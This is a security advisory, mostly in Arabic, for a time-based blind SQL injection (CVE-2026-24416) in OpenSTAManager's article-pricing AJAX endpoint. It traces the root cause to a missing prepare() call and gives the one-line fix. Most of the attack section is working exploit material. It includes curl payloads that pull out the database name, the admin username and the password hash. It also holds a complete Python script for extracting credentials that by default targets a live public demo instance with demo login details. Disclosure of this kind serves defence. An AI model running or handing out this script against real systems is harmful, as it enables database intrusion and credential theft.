
CVE-2026-24416 - يحتوي OpenSTAManager على ثغرة حقن SQL أعمى قائمة على الوقت في وحدة تسعير المقالات
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-24416 |
| الخطورة | عالية |
| التوصية الأمنية | عرض التوصية |
| اكتُشفت بواسطة | Lukasz Rybak |
ثغرة حرجة من نوع حقن SQL الأعمى القائم على الوقت (Time-Based Blind SQL Injection) في وحدة تسعير المقالات في OpenSTAManager v2.9.8 تسمح للمهاجمين المصادَق عليهم باستخراج محتويات قاعدة البيانات بالكامل، بما في ذلك بيانات اعتماد المستخدمين وبيانات العملاء والسجلات المالية، من خلال هجمات الاستدلال المنطقي القائمة على الوقت.
الحالة: ✅ تم التأكيد والاختبار على مثيل مباشر (v2.9.8) و demo.osmbusiness.it (v2.9.7)
المعامل القابل للاستغلال: idarticolo (GET)
نقطة النهاية المتأثرة: /ajax_complete.php?op=getprezzi
الوحدة المتأثرة: Articoli (المقالات/المنتجات)
يحتوي OpenSTAManager v2.9.8 على ثغرة حرجة من نوع حقن SQL الأعمى القائم على الوقت في معالج إكمال تسعير المقالات. يفشل التطبيق في تعقيم المعامل idarticolo بشكل صحيح قبل استخدامه في استعلامات SQL، مما يسمح للمهاجمين بحقن أوامر SQL تعسفية واستخراج بيانات حساسة عبر الاستدلال المنطقي القائم على الوقت.
سلسلة الاستغلال:
نقطة الدخول: /ajax_complete.php (السطر 27)
$op = get('op');
$result = AJAX::complete($op);
يتم استرجاع المعامل op لكن الثغرة تكمن في معاملات أخرى.
التوزيع: /src/AJAX.php::complete() (السطر 189)
$result = self::getCompleteResults($file, $resource);
التنفيذ: /src/AJAX.php::getCompleteResults() (السطر 402)
require $file;
يتم تضمين ملفات complete.php الخاصة بكل وحدة.
المعامل القابل للاستغلال: /modules/articoli/ajax/complete.php (السطر 26)
$idarticolo = get('idarticolo');
يتم استرجاع المعامل idarticolo من طلب GET.
استعلام SQL القابل للاستغلال: (السطر 70)
السياق - بنية الاستعلام الكاملة (الأسطر 39-74):
الاستعلام القابل للاستغلال هو جزء من استعلام UNION يجلب سجل الأسعار من الفواتير ومذكرات التسليم:
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ PROPERLY SANITIZED (Line 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ VULNERABLE - NO prepare() (Line 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
السبب الجذري: استخدم المطوّر prepare() بشكل صحيح في أول SELECT (السطر 54) لكنه نسي استخدامه في ثاني SELECT ضمن استعلام UNION (السطر 70)، مما أنشأ نمطاً أمنياً غير متسق.
الخطوة 1: تسجيل الدخول
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
الخطوة 2: التحقق من الثغرة (SLEEP القائم على الوقت)
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Result: real 0m10.32s (10.32 seconds)
# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Result: real 0m3.36s (3.36 seconds)
# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Result: real 0m0.31s (0.31 seconds)
الخطوة 3: استخراج البيانات - اسم قاعدة البيانات
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)
# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)
# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')
# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')
الخطوة 4: استخراج بيانات حساسة - بيانات اعتماد المسؤول
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)
# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)
شرح الحمولة:
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)
Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true
SQL Query Result:
WHERE
`idarticolo`=1
AND SUBSTRING(DATABASE(),1,1)='o'
AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
AND `dt_tipiddt`.`dir`="entrata"
AND `idanagrafica`=1
مثال على سكربت الاستخراج الآلي:
import requests
import time
import string
import sys
# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3 # Increased to 3s for stability on remote demo instance
def login(session, base_url, user, pwd):
"""Authenticates to the application and maintains session."""
login_url = f"{base_url}/index.php?op=login"
data = {"username": user, "password": pwd}
print(f"[*] Attempting login to: {login_url}...")
try:
response = session.post(login_url, data=data, timeout=10)
# Check if login was successful (usually indicated by presence of logout link or redirect)
if "logout" in response.text.lower() or response.status_code == 200:
print("[+] Login successful!")
return True
else:
print("[-] Login failed. Please check credentials.")
return False
except Exception as e:
print(f"[!] Connection error: {e}")
return False
def extract_data(session, base_url, sql_query, label="Data"):
"""Extracts data character by character until the end of the string is reached."""
print(f"\n[*] Extracting: {label}...")
result = ""
position = 1
target_endpoint = f"{base_url}/ajax_complete.php"
# Charset optimized for database names and bcrypt hashes ($, ., /)
charset = string.ascii_letters + string.digits + "$./" + string.punctuation
while True:
found_char = False
for char in charset:
# Payload: If the condition is true, the server sleeps for SLEEP_TIME
# Using ORD() and SUBSTRING() to handle various character types safely
payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
params = {
"op": "getprezzi",
"idanagrafica": "1",
"idarticolo": payload
}
try:
start_time = time.time()
session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
elapsed = time.time() - start_time
if elapsed >= SLEEP_TIME:
result += char
found_char = True
sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
sys.stdout.flush()
break
except requests.exceptions.RequestException:
# Handle network jitter/timeouts by retrying or continuing
continue
# If no character from charset triggered a sleep, we've reached the end of the data
if not found_char:
print(f"\n[!] End of string or no data found at position {position}.")
break
position += 1
return result
def main():
s = requests.Session()
# Allow target URL to be passed as a command line argument
target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
if login(s, target, USERNAME, PASSWORD):
# 1. Database name extraction
db = extract_data(s, target, "SELECT DATABASE()", "Database Name")
# 2. Admin username extraction
user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)")
# 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash")
print(f"\n\n{'='*35}")
print(f" FINAL REPORT")
print(f"{'='*35}")
print(f"Target URL: {target}")
print(f"Database: {db}")
print(f"Username: {user}")
print(f"Hash: {pwd_hash}")
print(f"{'='*35}")
if __name__ == "__main__":
main()
المستخدمون المتأثرون: جميع المستخدمين المصادَق عليهم الذين لديهم حق الوصول إلى وظيفة تسعير المقالات (عادةً المستخدمون الذين يديرون عروض الأسعار والفواتير والطلبات).
الإصلاح الموصى به:
الملف: /modules/articoli/ajax/complete.php
قبل (قابل للاستغلال - السطر 70):
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
بعد (تم الإصلاح):
WHERE
`idarticolo`='.prepare($idarticolo).' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
اكتُشفت بواسطة Łukasz Rybak
تم الإفصاح عن ثغرة CVE هذه بشكل مسؤول وفقاً لممارسات الإفصاح المنسق عن الثغرات الأمنية. المعلومات الواردة هنا لأغراض تعليمية ودفاعية فقط.
/modules/articoli/ajax/complete.phpFROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
الأثر: إلحاق مباشر لقيمة $idarticolo دون استخدام prepare()، بينما يتم تعقيم $idanagrafica بشكل صحيح.